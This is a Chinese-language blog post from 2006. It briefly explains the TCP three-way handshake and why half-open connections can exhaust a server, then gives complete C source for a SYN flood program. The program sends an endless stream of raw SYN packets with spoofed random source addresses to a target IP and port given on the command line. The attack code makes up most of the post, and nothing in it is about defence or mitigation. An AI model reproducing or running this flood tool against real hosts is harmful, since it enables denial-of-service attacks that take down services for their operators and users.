Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1989936
  • 博文数量: 369
  • 博客积分: 10093
  • 博客等级: 上将
  • 技术积分: 4271
  • 用 户 组: 普通用户
  • 注册时间: 2005-03-21 00:59
文章分类

全部博文(369)

文章存档

2013年(1)

2011年(2)

2010年(10)

2009年(16)

2008年(33)

2007年(146)

2006年(160)

2005年(1)

分类: 网络与安全

2006-04-26 17:30:43

基本原理:
TCP连接需要经过三次握手的过程,即:
  1. 客户端向服务器端发SYN包
  2. 服务器端向客户端发SYN/ACK包
  3. 客户端回应ACK包
经过这个过程,一条连接就完全建立起来了。如果第三步没有成功,则进入半连接状态,这时服务器等待超时才会返回,如果这样的连接过多,就会阻塞正常的访问,严重的会导致服务器崩溃。
程序源码:

#include
#include
#include
#define __FAVOR_BSD
#include

struct
{
        uint32_t saddr;
        uint32_t daddr;
        uint8_t mbz;
        uint8_t protocol;
        uint16_t length;
} pseudo_header;

uint16_t csum (uint16_t *buf, size_t nwords)
{
        uint32_t sum;

        for (sum = 0; nwords > 0; nwords--)
                sum += *buf++;
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);

        return ~sum;
}

inline void die(const char *ptr)
{
        perror(ptr ? ptr : "");
        exit(1);
}

static count = 0;

void sig_alarm_handler(int signo)
{
        printf("%lu\n", count);
        count = 0;
        alarm(1);
}

int main(int argc, char *argv[])
{
        int sock, sm, port;
        const int *val;
        struct sockaddr_in sin;
        char data[4096];
        char psdata[256];
        struct ip *iph = (struct ip*)data;
        struct tcphdr *tcph = (struct tcphdr*)(data + sizeof(struct ip));
        char *ip = NULL;
        char buf[INET_ADDRSTRLEN];

        /* parse the parameters */
        if(argc < 3){
                printf("Usage: %s ipaddress port\n", argv[0]);
                exit(1);
        }
        ip = argv[1];
        port = atoi(argv[2]);

        /* init destination address */
        memset(&sin, 0, sizeof(struct sockaddr_in));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);
        inet_pton(AF_INET, ip, &sin.sin_addr.s_addr);

        memset(data, 0, sizeof(data));
        /* init the ip header */
        iph->ip_hl = 5;
        iph->ip_v = 4;
        iph->ip_tos = 0;
        /* no payload */
        iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->ip_id = htonl (54321);
        iph->ip_off = 0;
        iph->ip_ttl = 64;
        iph->ip_p = IPPROTO_TCP;
        iph->ip_sum = 0;
        /* set network ip addresses */
        iph->ip_dst.s_addr = sin.sin_addr.s_addr;
        iph->ip_src.s_addr = 0;

        /* init the tcp header */
        /* set the ports */
        tcph->th_sport = htons (3456);
        tcph->th_dport = htons (port);
        tcph->th_seq = rand ();
        tcph->th_ack = 0;
        tcph->th_x2 = 0;
        /* data offset in the tcp packet */
        tcph->th_off = 5;
        /* tcp packet type SYN, RST, ACK, FIN */
        tcph->th_flags = TH_SYN;
        tcph->th_win = htons (8192);
        tcph->th_sum = 0;
        tcph->th_urp = 0;

        /* init pseudo header */
        pseudo_header.saddr = 0;
        pseudo_header.daddr = iph->ip_dst.s_addr;
        pseudo_header.mbz = 0;
        pseudo_header.protocol = IPPROTO_TCP;
        pseudo_header.length = htons(sizeof(struct tcphdr));

        sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if(sock < 0) die("socket");
        /* Header include */
        sm = 1;
        val = &sm;
        if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(sm)) < 0){
                die("setsockopt");
        }

        signal(SIGALRM, &sig_alarm_handler);
        alarm(1);
        /* send the SYN packet */
        srand(time(NULL));
        while(1){
                iph->ip_id = htonl(rand());
                iph->ip_src.s_addr = rand();
                tcph->th_sport = htons(rand());
                tcph->th_seq = rand();
                tcph->th_sum = 0;
                pseudo_header.saddr = iph->ip_src.s_addr;
                memcpy(psdata, &pseudo_header, sizeof(pseudo_header));
                memcpy(psdata + sizeof(pseudo_header), tcph, sizeof(struct tcphdr));
                tcph->th_sum = csum((uint16_t*)psdata,  (sizeof(pseudo_header) + sizeof(struct tcphdr))/2);
                count ++;
                /*
                inet_ntop(AF_INET, &iph->ip_src, buf, INET_ADDRSTRLEN);
                printf("ip = %s\n", buf);
                */
                if(sendto(sock, data, iph->ip_len, 0,
                                        (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0){
                        die("sendto");
                }
        }
        close(sock);

        return 0;
}

参考链接:

阅读(1107) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~